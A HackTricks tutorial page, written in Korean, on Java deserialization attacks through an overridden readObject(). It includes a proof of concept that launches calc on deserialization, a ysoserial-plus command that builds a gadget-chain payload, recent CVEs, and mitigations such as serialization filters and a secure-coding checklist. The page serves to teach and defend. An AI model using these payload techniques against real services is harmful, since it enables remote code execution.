Basic Java Deserialization with ObjectInputStream readObject

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด POST์—์„œ๋Š” java.io.Serializable์„ ์‚ฌ์šฉํ•˜๋Š” ์˜ˆ์ œ๋ฅผ ์„ค๋ช…ํ•  ๊ฒƒ์ด๋ฉฐ, incoming stream์ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ฒฝ์šฐ readObject()๋ฅผ ์žฌ์ •์˜ํ•˜๋Š” ๊ฒƒ์ด ์–ผ๋งˆ๋‚˜ ์œ„ํ—˜ํ•  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•ด ์„ค๋ช…ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Serializable

Java Serializable ์ธํ„ฐํŽ˜์ด์Šค(java.io.Serializable)๋Š” ํด๋ž˜์Šค๊ฐ€ ์ง๋ ฌํ™” ๋ฐ ์—ญ์ง๋ ฌํ™”๋˜๊ธฐ ์œ„ํ•ด ๊ตฌํ˜„ํ•ด์•ผ ํ•˜๋Š” ๋งˆ์ปค ์ธํ„ฐํŽ˜์ด์Šค์ž…๋‹ˆ๋‹ค. Java ๊ฐ์ฒด ์ง๋ ฌํ™”(์“ฐ๊ธฐ)๋Š” ObjectOutputStream์œผ๋กœ ์ˆ˜ํ–‰๋˜๋ฉฐ, ์—ญ์ง๋ ฌํ™”(์ฝ๊ธฐ)๋Š” ObjectInputStream์œผ๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค.

Reminder: Which methods are implicitly invoked during deserialization?

  1. readObject() โ€“ ํด๋ž˜์Šค๋ณ„ ์ฝ๊ธฐ ๋กœ์ง(๊ตฌํ˜„๋œ ๊ฒฝ์šฐ ๋ฐ private).
  2. readResolve() โ€“ ์—ญ์ง๋ ฌํ™”๋œ ๊ฐ์ฒด๋ฅผ ๋‹ค๋ฅธ ๊ฐ์ฒด๋กœ ๋Œ€์ฒดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  3. validateObject() โ€“ ObjectInputValidation ์ฝœ๋ฐฑ์„ ํ†ตํ•ด.
  4. readExternal() โ€“ Externalizable์„ ๊ตฌํ˜„ํ•˜๋Š” ํด๋ž˜์Šค์˜ ๊ฒฝ์šฐ.
  5. ์ƒ์„ฑ์ž๋Š” ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค โ€“ ๋”ฐ๋ผ์„œ ๊ฐ€์ ฏ ์ฒด์ธ์€ ์ด์ „ ์ฝœ๋ฐฑ์—๋งŒ ์˜์กดํ•ฉ๋‹ˆ๋‹ค.

๊ทธ ์ฒด์ธ์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฉ”์„œ๋“œ๋Š”(๋ช…๋ น ์‹คํ–‰, JNDI ์กฐํšŒ, ๋ฆฌํ”Œ๋ ‰์…˜ ๋“ฑ) ์—ญ์ง๋ ฌํ™” ๋ฃจํ‹ด์„ RCE ๊ฐ€์ ฏ์œผ๋กœ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

์ง๋ ฌํ™” ๊ฐ€๋Šฅํ•œ Person ํด๋ž˜์Šค๋ฅผ ์˜ˆ๋กœ ๋“ค์–ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ์ด ํด๋ž˜์Šค๋Š” readObject ํ•จ์ˆ˜๋ฅผ ์žฌ์ •์˜ํ•˜๋ฏ€๋กœ, ์ด ํด๋ž˜์Šค์˜ ์–ด๋–ค ๊ฐ์ฒด๊ฐ€ ์—ญ์ง๋ ฌํ™”๋  ๋•Œ ์ด ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
์˜ˆ์ œ์—์„œ, Person ํด๋ž˜์Šค์˜ readObject ํ•จ์ˆ˜๋Š” ๊ทธ์˜ ์• ์™„๋™๋ฌผ์˜ eat() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ณ , Dog์˜ eat() ํ•จ์ˆ˜๋Š”(์–ด๋–ค ์ด์œ ๋กœ) calc.exe๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณ„์‚ฐ๊ธฐ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด Person ๊ฐ์ฒด๋ฅผ ์ง๋ ฌํ™”ํ•˜๊ณ  ์—ญ์ง๋ ฌํ™”ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

๋‹ค์Œ ์˜ˆ์ œ๋Š” https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649์—์„œ ๊ฐ€์ ธ์˜จ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

import java.io.Serializable;
import java.io.*;

public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream  and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}

๊ฒฐ๋ก  (๊ณ ์ „ ์‹œ๋‚˜๋ฆฌ์˜ค)

์ด ๋งค์šฐ ๊ธฐ๋ณธ์ ์ธ ์˜ˆ์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด, ์—ฌ๊ธฐ์„œ์˜ โ€œ์ทจ์•ฝ์ โ€์€ readObject() ๋ฉ”์„œ๋“œ๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋‹ค๋ฅธ ์ฝ”๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์‹ค์ œ ์„ธ๊ณ„์˜ ๊ฐ€์ ฏ ์ฒด์ธ์—์„œ๋Š” ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(Commons-Collections, Spring, Groovy, Rome, SnakeYAML ๋“ฑ)์— ํฌํ•จ๋œ ์ˆ˜์ฒœ ๊ฐœ์˜ ํด๋ž˜์Šค๊ฐ€ ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ณต๊ฒฉ์ž๋Š” ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป๊ธฐ ์œ„ํ•ด ํ•˜๋‚˜์˜ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ฐ€์ ฏ๋งŒ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.


2023-2025: Java ์—ญ์ง๋ ฌํ™” ๊ณต๊ฒฉ์˜ ์ƒˆ๋กœ์šด ๋‚ด์šฉ์€ ๋ฌด์—‡์ธ๊ฐ€?

  • 2023 โ€“ CVE-2023-34040: checkDeserExWhen* ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋œ ์ƒํƒœ์—์„œ Spring-Kafka์˜ ์˜ค๋ฅ˜ ๋ ˆ์ฝ”๋“œ ํ—ค๋” ์—ญ์ง๋ ฌํ™”๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฒŒ์‹œํ•œ ์ฃผ์ œ๋กœ๋ถ€ํ„ฐ ์ž„์˜์˜ ๊ฐ€์ ฏ ๊ตฌ์„ฑ์ด ๊ฐ€๋Šฅํ•ด์กŒ์Šต๋‹ˆ๋‹ค. 3.0.10 / 2.9.11์—์„œ ์ˆ˜์ •๋จ. ยน
  • 2023 โ€“ CVE-2023-36480: Aerospike Java ํด๋ผ์ด์–ธํŠธ์˜ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋ฒ„ ๊ฐ€์ •์ด ๊นจ์ง โ€“ ์•…์˜์ ์ธ ์„œ๋ฒ„ ์‘๋‹ต์— ํด๋ผ์ด์–ธํŠธ์— ์˜ํ•ด ์—ญ์ง๋ ฌํ™”๋œ ์ง๋ ฌํ™”๋œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํฌํ•จ๋จ โ†’ RCE. ยฒ
  • 2023 โ€“ CVE-2023-25581: pac4j-core ์‚ฌ์šฉ์ž ํ”„๋กœํ•„ ์†์„ฑ ํŒŒ์‹ฑ์ด {#sb64} ์ ‘๋‘์‚ฌ๊ฐ€ ๋ถ™์€ Base64 ๋ธ”๋กญ์„ ์ˆ˜์šฉํ•˜๊ณ  RestrictedObjectInputStream์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์ด๋ฅผ ์—ญ์ง๋ ฌํ™”ํ–ˆ์Šต๋‹ˆ๋‹ค. 4.0.0 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜์‹ญ์‹œ์˜ค.
  • 2023 โ€“ CVE-2023-4528: JSCAPE MFT Manager Service (ํฌํŠธ 10880)๊ฐ€ XML ์ธ์ฝ”๋”ฉ๋œ Java ๊ฐ์ฒด๋ฅผ ์ˆ˜์šฉํ•˜์—ฌ root/SYSTEM์œผ๋กœ RCE๋ฅผ ์ดˆ๋ž˜ํ–ˆ์Šต๋‹ˆ๋‹ค.
  • 2024 โ€“ Hibernate5, TomcatEmbed ๋ฐ SnakeYAML 2.x ํด๋ž˜์Šค๋ฅผ ํฌํ•จํ•œ ์—ฌ๋Ÿฌ ์ƒˆ๋กœ์šด ๊ฐ€์ ฏ ์ฒด์ธ์ด ysoserial-plus(mod)์— ์ถ”๊ฐ€๋˜์–ด ์ผ๋ถ€ ์˜ค๋ž˜๋œ ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.

๋ฐฐํฌํ•ด์•ผ ํ•  ํ˜„๋Œ€์  ์™„ํ™”์ฑ…

  1. JEP 290 / ์ง๋ ฌํ™” ํ•„ํ„ฐ๋ง (Java 9+) ํด๋ž˜์Šค์˜ ํ—ˆ์šฉ ๋ชฉ๋ก ๋˜๋Š” ๊ฑฐ๋ถ€ ๋ชฉ๋ก ์ถ”๊ฐ€:
# ๋‹น์‹ ์˜ DTO์™€ java.base๋งŒ ์ˆ˜์šฉํ•˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ๊ฑฐ๋ถ€
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"

ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์˜ˆ:

var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
ObjectInputFilter.Config.setSerialFilter(filter);
  1. JEP 415 (Java 17+) ์ปจํ…์ŠคํŠธ๋ณ„ ํ•„ํ„ฐ ํŒฉํ† ๋ฆฌ โ€“ BinaryOperator<ObjectInputFilter>๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹คํ–‰ ์ปจํ…์ŠคํŠธ(์˜ˆ: RMI ํ˜ธ์ถœ๋‹น, ๋ฉ”์‹œ์ง€ ํ ์†Œ๋น„์ž๋‹น)๋งˆ๋‹ค ๋‹ค๋ฅธ ํ•„ํ„ฐ๋ฅผ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  2. ์›์‹œ ObjectInputStream์„ ๋„คํŠธ์›Œํฌ์— ๋…ธ์ถœํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค โ€“ ์ฝ”๋“œ ์‹คํ–‰ ์˜๋ฏธ๊ฐ€ ์—†๋Š” JSON/์ด์ง„ ์ธ์ฝ”๋”ฉ์„ ์„ ํ˜ธํ•˜์‹ญ์‹œ์˜ค (Jackson์—์„œ DefaultTyping ๋น„ํ™œ์„ฑํ™” ํ›„, Protobuf, Avro ๋“ฑ).
  3. ์‹ฌ์ธต ๋ฐฉ์–ด ํ•œ๊ณ„ โ€“ ์ตœ๋Œ€ ๋ฐฐ์—ด ๊ธธ์ด, ๊นŠ์ด, ์ฐธ์กฐ ์„ค์ •:
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
  1. ์ง€์†์ ์ธ ๊ฐ€์ ฏ ์Šค์บ๋‹ โ€“ gadget-inspector ๋˜๋Š” serialpwn-cli์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ CI์—์„œ ์‹คํ–‰ํ•˜์—ฌ ์œ„ํ—˜ํ•œ ๊ฐ€์ ฏ์ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด์ง€๋ฉด ๋นŒ๋“œ๋ฅผ ์‹คํŒจํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์—…๋ฐ์ดํŠธ๋œ ๋„๊ตฌ ์น˜ํŠธ ์‹œํŠธ (2024)

  • ysoserial-plus.jar โ€“ > 130๊ฐœ์˜ ๊ฐ€์ ฏ ์ฒด์ธ์„ ๊ฐ€์ง„ ์ปค๋ฎค๋‹ˆํ‹ฐ ํฌํฌ:
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
  • marshalsec โ€“ JNDI ๊ฐ€์ ฏ ์ƒ์„ฑ์„ ์œ„ํ•œ ์—ฌ์ „ํžˆ ์ฐธ์กฐ๋˜๋Š” ๋„๊ตฌ (LDAP/RMI).
  • gadget-probe โ€“ ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๋น ๋ฅธ ๋ธ”๋ž™๋ฐ•์Šค ๊ฐ€์ ฏ ๋ฐœ๊ฒฌ.
  • SerialSniffer โ€“ ObjectInputStream์— ์˜ํ•ด ์ฝํžŒ ๋ชจ๋“  ํด๋ž˜์Šค๋ฅผ ์ถœ๋ ฅํ•˜๋Š” JVMTI ์—์ด์ „ํŠธ (ํ•„ํ„ฐ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๋ฐ ์œ ์šฉ).
  • ํƒ์ง€ ํŒ โ€“ ํ•„ํ„ฐ ๊ฒฐ์ • ๋ฐ ๊ฑฐ๋ถ€๋œ ํด๋ž˜์Šค๋ฅผ ๊ธฐ๋กํ•˜๊ธฐ ์œ„ํ•ด -Djdk.serialDebug=true (JDK 22+)๋ฅผ ํ™œ์„ฑํ™”ํ•˜์‹ญ์‹œ์˜ค.

์•ˆ์ „ํ•œ readObject() ๊ตฌํ˜„์„ ์œ„ํ•œ ๋น ๋ฅธ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  1. ๋ฉ”์„œ๋“œ๋ฅผ private๋กœ ๋งŒ๋“ค๊ณ  @Serial ์ฃผ์„์„ ์ถ”๊ฐ€ํ•˜์‹ญ์‹œ์˜ค (์ •์  ๋ถ„์„์— ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค).
  2. ์‚ฌ์šฉ์ž ์ œ๊ณต ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๊ฑฐ๋‚˜ ๋ฉ”์„œ๋“œ ๋‚ด์—์„œ I/O๋ฅผ ์ˆ˜ํ–‰ํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค โ€“ ํ•„๋“œ๋งŒ ์ฝ์œผ์‹ญ์‹œ์˜ค.
  3. ๊ฒ€์ฆ์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ, ์—ญ์ง๋ ฌํ™” ํ›„์— readObject() ์™ธ๋ถ€์—์„œ ์ˆ˜ํ–‰ํ•˜์‹ญ์‹œ์˜ค.
  4. Externalizable์„ ๊ตฌํ˜„ํ•˜๊ณ  ๊ธฐ๋ณธ ์ง๋ ฌํ™” ๋Œ€์‹  ๋ช…์‹œ์  ํ•„๋“œ ์ฝ๊ธฐ๋ฅผ ์„ ํ˜ธํ•˜์‹ญ์‹œ์˜ค.
  5. ๋‚ด๋ถ€ ์„œ๋น„์Šค์— ๋Œ€ํ•ด์„œ๋„ ๊ฐ•ํ™”๋œ ObjectInputFilter๋ฅผ ๋“ฑ๋กํ•˜์‹ญ์‹œ์˜ค (ํƒ€ํ˜‘ ์ €ํ•ญ ์„ค๊ณ„).

์ฐธ๊ณ  ๋ฌธํ—Œ

  1. Spring Security Advisory โ€“ CVE-2023-34040 Java Deserialization in Spring-Kafka (2023๋…„ 8์›”)
  2. GitHub Security Lab โ€“ GHSL-2023-044: Unsafe Deserialization in Aerospike Java Client (2023๋…„ 7์›”)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ